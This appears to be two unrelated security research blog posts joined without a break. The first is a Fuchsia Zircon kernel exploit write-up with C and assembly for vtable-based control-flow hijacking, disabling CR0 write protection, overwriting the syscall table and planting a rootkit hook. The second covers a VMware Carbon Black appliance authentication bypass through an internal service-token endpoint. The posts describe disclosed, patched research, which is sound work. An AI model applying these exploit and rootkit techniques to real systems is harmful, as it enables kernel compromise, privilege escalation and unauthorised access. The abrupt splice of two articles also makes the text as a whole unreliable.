In my Linux Kernel Defence Map, you can see SMAP among various mitigations of control-flow hijacking attacks in the Linux kernel.

I saw multiple ways to bypass SMAP protection by placing the fake vtable in the kernelspace.

1. For example, Zircon also has physmap like the Linux kernel, which makes the idea of the ret2dir attack for Zircon very promising.
2. Another idea was to use a kernel log infoleak of some kernel address that points to the data controlled by the attacker.

But to simplify my first security experiment with Fuchsia, I decided to disable SMAP and SMEP in the script starting QEMU and create the fake vtable in my exploit in the userspace:

#define VTABLE_SZ 16
unsigned long fake_vtable[VTABLE_SZ] = { 0 }; // global array

Then I made the exploit use this fake vtable in the heap spraying data that overwrite the TimerDispatcher object:

#define DATA_SZ 512
  unsigned char spray_data[DATA_SZ] = { 0 };
  unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];

  // Control-flow hijacking in DownCastDispatcher():
  //   mov    rax,QWORD PTR [r13+0x0]
  //   movsxd r11,DWORD PTR [rax+0x8]
  //   add    r11,rax
  //   mov    rdi,r13
  //   call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

  *vtable_ptr = &fake_vtable[0]; // address in rax
  fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr; // value for DWORD PTR [rax+0x8]

This looks tricky, but fear not, you’ll like it!

Here the spray_data array stores the data for zx_fifo_write() overwriting TimerDispatcher. The vtable pointer resides at the beginning of the TimerDispatcher object, so vtable_ptr is initialized by the address of spray_data[0]. Then the address of the fake_vtable global array is written to the beginning of the spray_data. This address will appear in the rax register in DownCastDispatcher(), which I described above. The fake_vtable[1] element (or DWORD PTR [rax+0x8]) should store the value for calculating the function pointer of the TimerDispatcher.get_type() method. To calculate this value, I subtract the address of the fake vtable from the address of my pwn() function, which I’m going use to attack the Zircon kernel.

This is the magic that happens with the addresses when the exploit is executed. The real example:

1. The fake_vtable array is at 0x35aa74aa020 and the pwn() function is at 0x35aa74a80e0
2. fake_vtable[1] is 0x35aa74a80e0 - 0x35aa74aa020 = 0xffffffffffffe0c0. In DownCastDispatcher() this value appears in DWORD PTR [rax+0x8]
3. After Zircon executes the movsxd r11, DWORD PTR [rax+0x8], the r11 register stores 0xffffffffffffe0c0
4. Adding rax with 0x35aa74aa020 to r11 gives 0x35aa74a80e0, which is the exact address of pwn()
5. So when Zircon calls __x86_indirect_thunk_r11 the control flow goes to the pwn() function of the exploit.

What to hack in Fuchsia?

After achieving arbitrary code execution in the Zircon kernelspace, I started to think about what to attack with it.

My first thought was to forge a fake ZX_RSRC_KIND_ROOT superpower resource, which I had previously seen in zx_debuglog_create(). But I didn’t manage to engineer privilege escalation using ZX_RSRC_KIND_ROOT, because this resource is not used that much in the Fuchsia source code.

Knowing that Zircon is a microkernel, I realized that privilege escalation requires attacking the inter-process communication (IPC) that goes through the microkernel. In other words, I needed to use arbitrary code execution in Zircon to hijack the IPC between Fuchsia userspace components, for example, between my unprivileged exploit component and some privileged entity like the Component Manager.

I returned to studying the Fuchsia userspace, which was messy and boring… But suddenly I got an idea:

What about planting a rootkit into Zircon?

That looked much more interesting, so I switched to investigating how Zircon syscalls work.

Fuchsia syscalls

The life of a Fuchsia syscall is briefly described in the documentation. Like the Linux kernel, Zircon also has a syscall table. On x86_64, Zircon defines the x86_syscall() function in fuchsia/zircon/kernel/arch/x86/syscall.S, which has the following code (I removed the comments):

    cmp     $ZX_SYS_COUNT, %rax
    jae     .Lunknown_syscall
    leaq    .Lcall_wrapper_table(%rip), %r11
    movq    (%r11,%rax,8), %r11
    lfence
    jmp     *%r11

Here’s how this code looks in the debugger:

   0xffffffff00306fc8 <+56>:    cmp    rax,0xb0
   0xffffffff00306fce <+62>:    jae    0xffffffff00306fe1 <x86_syscall+81>
   0xffffffff00306fd0 <+64>:    lea    r11,[rip+0xbda21]        # 0xffffffff003c49f8
   0xffffffff00306fd7 <+71>:    mov    r11,QWORD PTR [r11+rax*8]
   0xffffffff00306fdb <+75>:    lfence 
   0xffffffff00306fde <+78>:    jmp    r11

Aha, it shows that the syscall table is at 0xffffffff003c49f8. Let’s see the contents:

(gdb) x/10xg 0xffffffff003c49f8
0xffffffff003c49f8:    0xffffffff00307040  0xffffffff00307050
0xffffffff003c4a08:    0xffffffff00307070  0xffffffff00307080
0xffffffff003c4a18:    0xffffffff00307090  0xffffffff003070b0
0xffffffff003c4a28:    0xffffffff003070d0  0xffffffff003070f0
0xffffffff003c4a38:    0xffffffff00307110  0xffffffff00307130

$ disassemble 0xffffffff00307040
Dump of assembler code for function x86_syscall_call_bti_create:
   0xffffffff00307040 <+0>:    mov    r8,rcx
   0xffffffff00307043 <+3>:    mov    rcx,r10
...

Here the first address 0xffffffff00307040 in the syscall table points to the x86_syscall_call_bti_create() function. It is system call number zero, which is defined in the auto-generated file kernel-wrappers.inc in the gen/zircon/vdso/include/lib/syscalls/ directory. And the last syscall there is x86_syscall_call_vmo_create_physical() at 0xffffffff00307d10, which is number 175 (see ZX_SYS_COUNT defined as 176). Showing the whole syscall table plus a bit more:

(gdb) x/178xg 0xffffffff003c49f8
0xffffffff003c49f8:    0xffffffff00307040  0xffffffff00307050
0xffffffff003c4a08:    0xffffffff00307070  0xffffffff00307080
0xffffffff003c4a18:    0xffffffff00307090  0xffffffff003070b0
...
0xffffffff003c4f58:    0xffffffff00307ce0  0xffffffff00307cf0
0xffffffff003c4f68:    0xffffffff00307d00  0xffffffff00307d10
0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:    0x0300010300000300  0x0004030003030002

Yes, the function pointer 0xffffffff00307d10 of the last syscall is right at the end of the syscall table. That knowledge was enough for my experiments with a rootkit.

Planting a rootkit into Zircon

As a first experiment, I overwrote the whole syscall table with 0x41 in my pwn() function. As I mentioned, this function is executed as a result of control-flow hijacking in Zircon. For overwriting the read-only syscall table, I used the old-school classic of changing the WP bit in the CR0 register:

#define SYSCALL_TABLE 0xffffffff003c49f8
#define SYSCALL_COUNT 176

int pwn(void)
{
  unsigned long cr0_value = read_cr0();

  cr0_value = cr0_value & (~0x10000); // Set WP flag to 0

  write_cr0(cr0_value);

  memset((void *)SYSCALL_TABLE, 0x41, sizeof(unsigned long) * SYSCALL_COUNT);
}

The CR0 helpers:

void write_cr0(unsigned long value)
{
  __asm__ volatile("mov %0, %%cr0" : : "r"(value));
}

unsigned long read_cr0(void)
{
  unsigned long value;
  __asm__ volatile("mov %%cr0, %0" : "=r"(value));
  return value;
}

The result:

(gdb) x/178xg 0xffffffff003c49f8
0xffffffff003c49f8:    0x4141414141414141  0x4141414141414141
0xffffffff003c4a08:    0x4141414141414141  0x4141414141414141
0xffffffff003c4a18:    0x4141414141414141  0x4141414141414141
...
0xffffffff003c4f58:    0x4141414141414141  0x4141414141414141
0xffffffff003c4f68:    0x4141414141414141  0x4141414141414141
0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:    0x0300010300000300  0x0004030003030002

Good. Then I started to think about how to hijack the Zircon syscalls. Doing that similarly to the Linux kernel rootkits was not possible: a usual Linux rootkit is a kernel module that provides hooks as functions from that particular module in the kernelspace. But in my case, I was trying to plant a rootkit from the userspace exploit into the microkernel. Implementing the rootkit hooks as userspace functions in the exploit process context could not work.

So I decided to turn some kernel code from Zircon into my rootkit hooks. My first candidate for overwriting was the assert_fail_msg() function, which drove me nuts during exploit development. That function was big enough, so I had a lot of space to place my hook payload.

I wrote my rootkit hook for the zx_process_create() syscall in C, but didn’t like the assembly of that hook generated by the compiler. So I reimplemented it in asm. Let’s look at the code, I like this part:

#define XSTR(A) STR(A)
#define STR(A) #A

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0
#define HOOK_CODE_SIZE 60
#define ZIRCON_PRINTF 0xffffffff0010fa20
#define ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE 0xffffffff003077c0

void process_create_hook(void)
{
  __asm__ ( "push %rax;"
        "push %rdi;"
        "push %rsi;"
        "push %rdx;"
        "push %rcx;"
        "push %r8;"
        "push %r9;"
        "push %r10;"
        "xor %al, %al;"
        "mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi;"
        "mov $" XSTR(ZIRCON_PRINTF) ",%r11;"
        "callq *%r11;"
        "pop %r10;"
        "pop %r9;"
        "pop %r8;"
        "pop %rcx;"
        "pop %rdx;"
        "pop %rsi;"
        "pop %rdi;"
        "pop %rax;"
            "mov $" XSTR(ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE) ",%r11;"
        "jmpq *%r11;");
}

1. This hook saves (pushes to the stack) all the registers that can be clobbered by the subsequent function calls.
2. Then I prepare and call the Zircon printf() kernel function:
   • The first argument of this function is provided via the rdi register. It stores the address of the string that I want to print to the kernel log. More details on this will come later. The trick with STR and XSTR macros is used for the stringizing; you can read about it in the GCC documentation.
   • Zero al indicates that no vector arguments are passed to this function with a variable number of arguments.
   • The r11 register stores the address of the Zircon printf() function, which is called by the callq *%r11 instruction.
3. After calling the kernel printf(), the clobbered registers are restored.
4. Finally, the hooked jumps to the original syscall zx_process_create().

And now the most interesting part: the rootkit planting. The pwn() function copies the code of the hook from the exploit binary into the Zircon kernel code at the address of assert_fail_msg().

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0
#define HOOK_CODE_OFFSET 4
#define HOOK_CODE_SIZE 60

  char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;
  hook_addr[0] = 0xc3; // ret to avoid assert
  hook_addr++;
  memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);
  hook_addr += HOOK_CODE_SIZE;
  const char *pwn_msg = "ROOTKIT HOOK: syscall 102 process_create()\n";
  strncpy(hook_addr, pwn_msg, strlen(pwn_msg) + 1);

#define SYSCALL_N_PROCESS_CREATE 102
#define SYSCALL_TABLE 0xffffffff003c49f8

  unsigned long *syscall_table_item = (unsigned long *)SYSCALL_TABLE;
  syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1; // after ret

  return 42; // don't pass the type check in DownCastDispatcher

1. hook_addr is initialized with the address of the assert_fail_msg() kernel function.
2. The first byte of this function is overwritten with 0xc3, which is the ret instruction. I do that to skip the Zircon crashes on assertions; now the assertion handling returns immediately.
3. The exploit copies the code of my rootkit hook for the zx_process_create() syscall to the kernelspace. I described process_create_hook() above.
4. The exploit copies the message string that I want to print on every zx_process_create() syscall. The hook will execute mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi, and the address of this string will get into rdi. Now you see why I added 1 byte to this address: it’s for the additional ret instruction at the beginning of assert_fail_msg().
5. The address of the hook ZIRCON_ASSERT_FAIL_MSG + 1 is written to the syscall table, item number 102, which is for the zx_process_create() syscall handler.
6. Finally, the pwn() exploit function returns 42. As I mentioned, Zircon uses my fake vtable and executes this function instead of the TimerDispatcher.get_type() method. The original get_type() method of this kernel object returns 16 to pass the type check and proceed handling. And here I return 42 to fail this check and finish the zx_timer_cancel() system call, which hit use-after-free.

Ok, the rootkit is now planted into the Zircon microkernel of Fuchsia OS!

Exploit demo

I implemented a similar rootkit hook for the zx_process_exit() syscall at the place of the assert_fail() kernel function. So the rootkit prints the messages to the kernel log upon process creation and exiting. See the exploit demo:

Conclusion

That’s how I came across Fuchsia OS and its Zircon microkernel. This work was a refreshing experience for me. I’d wanted to try my kernel-hacking skills on this interesting OS for a long time ever since I heard about it at the Linux Security Summit 2018 in Vancouver. So I’m glad of this research.

In this article, I gave an overview of the Fuchsia operating system, its security architecture, and the kernel development workflow. I assessed it from the attacker’s perspective and shared the results of my exploit development experiments for the Zircon microkernel. I followed the responsible disclosure process for the Fuchsia security issues discovered during this research.

This is one of the first public researches on Fuchsia OS security. I believe this article will be useful for the OS security community, since it spotlights practical aspects of microkernel vulnerability exploitation and defense. I hope that my work will inspire you too to do kernel hacking. Thanks for reading!

Last year we found a lot of exciting vulnerabilities in VMware products. The vendor was notified and they have since been patched. This is the second part of our research. This article covers an Authentication Bypass in VMware Carbon Black Cloud Workload Appliance (CVE-2021-21978) and an exploit chain in VMware vRealize Operations (CVE-2021-21975, CVE-2021-22023, CVE-2021-21983) which led to Remote Code Execution.

VMware Carbon Black Cloud Workload Appliance

Our story begins with a vulnerability in the VMware Carbon Black Cloud Workload Appliance, where we managed to bypass the authentication mechanism and gain access to the administrative console.

The appliance is hosted on-premise and is the link between an organization’s infrastructure and VMware Carbon Black Cloud, which is endpoint protection platform.

By checking the ports available on 0.0.0.0 using the netstat command, we found a web-application on port 443.

The front-end server was an Envoy proxy server. Upon looking into its configuration file, we determined that further requests are proxied to tomcat-based microservices.

Excerpt from config /opt/vmware/cwp/appliance-gateway/conf/cwp-appliance-gateway.yaml:

node:
  cluster: cwp_appliance
  id: cwp-appliance-v1-2020
static_resources:
  clusters:
    -	
      connect_timeout: 5s
      hosts:
        -
          socket_address:
            address: "127.0.0.1"
            port_value: 3030
      lb_policy: round_robin
      name: service_vsw
      type: LOGICAL_DNS
    -
      connect_timeout: 5s
      hosts:
        -
          socket_address:
            address: "127.0.0.1"
            port_value: 3020
      lb_policy: round_robin
      name: service_apw
      type: LOGICAL_DNS
    -
      connect_timeout: 5s
      hosts:
        -
          socket_address:
            address: "127.0.0.1"
            port_value: 3010
      lb_policy: round_robin
      name: service_acs
      type: LOGICAL_DNS

After studying the application.yml configuration file for the service, which is called service_acs and runs on port 3010, we found that a role-based access model from the Java Spring framework is implemented.

// application.yml
rbacpolicy:
  role:
  - name: SERVICE_USER
    description: This role gives you access to all administration related work
    default: DENY
    permissions:
     - '*:*'

  - name: APPLIANCE_USER
    description: This role gives you access to all administration related work
    default: DENY
    permissions:
     - 'acs:getToken'
     - 'acs:getServiceToken' 
     - 'apw:getApplianceDetails'
     - 'apw:getApplianceSettings'
     - 'apw:getNetworkConf' 
…

A cursory examination of the role policy raises many questions:

• What is a service user?
• Why does it have unlimited capabilities?
• What does the getServiceToken API method do?

We decided to start by exploring the getServiceToken API method. Opening the source code, we studied the description of this method. “Generate JWT Token for Service Request” meaning that every time an application needs authentication for an internal API method call, it accesses this API and receives an authorization token.

An excerpt from TokenGeneratorApi.java:

@ApiOperation(
      value = "Generate JWT Token for Service Request",
      nickname = "getServiceToken",
      notes = "",
      response = AccessTokenDTO.class,
      tags = {"TokenGenerator"}
   )
   @ApiResponses({@ApiResponse(
   code = 200,
   message = "OK",
   response = AccessTokenDTO.class
…
   @RequestMapping(
      value = {"/api/v1/service-token/{serviceName}"},
      produces = {"application/json"},
      method = {RequestMethod.GET}
   )
   ResponseEntity<AccessTokenDTO> getServiceToken(@ApiParam(value = "name of the service which is requesting token",required = true) @PathVariable("serviceName") String serviceName);

Let’s try to get the authorization token by accessing the service that is attached to port 3010 from the internal network.

We got a JWT token, which turns out to be for the role of our old friend, the service user.

Decoding of the JWT token payload:

{
  "sub": "any-service",
  "iss": "user-service",
  "nbf": 1645303446,
  "exp": 1731703446,
  "policy": {
    "role": "SERVICE_USER",
    "permissions": {
      "*": [
        "*"
      ]
    }
  },
  "refreshable": false,
  "iat": 1645303446
}